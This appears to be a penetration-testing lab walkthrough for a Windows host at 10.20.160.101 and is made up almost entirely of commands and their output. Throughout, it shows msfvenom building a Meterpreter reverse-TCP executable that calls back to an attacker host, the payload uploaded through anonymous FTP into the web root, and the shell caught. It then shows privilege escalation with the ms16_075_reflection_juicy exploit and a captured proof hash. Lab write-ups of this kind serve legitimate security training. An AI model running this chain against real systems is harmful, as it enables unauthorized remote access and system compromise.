10.20.160.101 ESCALATION: DO IT FOR THE LOVE

Hash:

```
meterpreter > cat proof.txt
17b04ea788dab8a31724d54a86b0841f
```

Path:

```
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.20.150.106
 lport=4444 -f exe > 4444.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the p
ayload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
```

```
root@kali:~# ftp
ftp> open 10.20.160.101
Connected to 10.20.160.101.
220 FileZilla Server version 0.9.37 beta written by Tim Kosse (Tim.Kosse@gmx.de)
 Please visit http://sourceforge.
Name (10.20.160.101:root): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
ftp> binary
200 Type set to I
ftp> delete 4444.exe
250 File deleted successfully
ftp> put 4444.exe
local: 4444.exe remote: 4444.exe
200 Port command successful
150 Opening data channel for file transfer.
226 Transfer OK
7168 bytes sent in 0.00 secs (325.5208 MB/s)
ftp> exit
221 Goodbye
```

```
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.20.150.106:4444
msf5 exploit(multi/handler) > [*] Sending stage (206403 bytes) to 10.20.160.101
[*] Meterpreter session 6 opened (10.20.150.106:4444 -> 10.20.160.101:56153) at 2019-07-30 17:45:14 -0400
sessions

Active sessions
===============

  Id  Name  Type                     Information  Connection
  --  ----  ----                     -----------  ----------
  6         meterpreter x64/windows              10.20.150.106:4444 -> 10.20.160.101:56153 (10.20.160.101)
```

```
 Directory of C:\xampp\htdocs

07/30/2019  05:44 PM    <DIR>          .
07/30/2019  05:44 PM    <DIR>          ..
07/30/2019  05:29 PM             7,168 4444.exe
12/20/2007  10:00 PM             2,326 apache_pb.gif
12/20/2007  10:00 PM             1,385 apache_pb.png
12/20/2007  10:00 PM             2,414 apache_pb2.gif
12/20/2007  10:00 PM             1,463 apache_pb2.png
12/20/2007  10:00 PM             2,160 apache_pb2_ani.gif
02/07/2009  07:47 AM             7,782 favicon.ico
07/28/2016  04:14 AM    <DIR>          forbidden
12/20/2007  10:01 PM               202 index.html
01/20/2009  03:49 AM               256 index.php
07/30/2019  05:44 PM             3,121 payload.php
07/28/2016  04:14 AM    <DIR>          restricted
12/16/2010  05:02 AM             9,728 Thumbs.db
07/28/2016  04:14 AM    <DIR>          xampp
              11 File(s)         38,005 bytes
               5 Dir(s)   5,296,791,552 bytes free
4444.exe
```

```
meterpreter > background
[*] Backgrounding session 6...
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 6
session => 6
msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.20.160.101 - Collecting local exploits for x64/windows...
[*] 10.20.160.101 - 11 exploit checks are being tried...
[+] 10.20.160.101 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.20.160.101 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 10.20.160.101 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.20.160.101 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable
[*] Post module execution completed
msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_075_reflection_juicy
msf5 exploit(windows/local/ms16_075_reflection_juicy) > set session 6
session => 6
```

```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > run

[*] Started reverse TCP handler on 10.20.150.106:4444
[*] Launching notepad to host the exploit...
[+] Process 2724 launched.
[*] Reflectively injecting the exploit DLL into 2724...
[*] Injecting exploit into 2724...
[*] Exploit injected. Injecting exploit configuration into 2724...
[*] Configuration injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (179779 bytes) to 10.20.160.101
[*] Meterpreter session 7 opened (10.20.150.106:4444 -> 10.20.160.101:56160) at 2019-07-30 17:47:04 -0400

meterpreter > sessions 7
```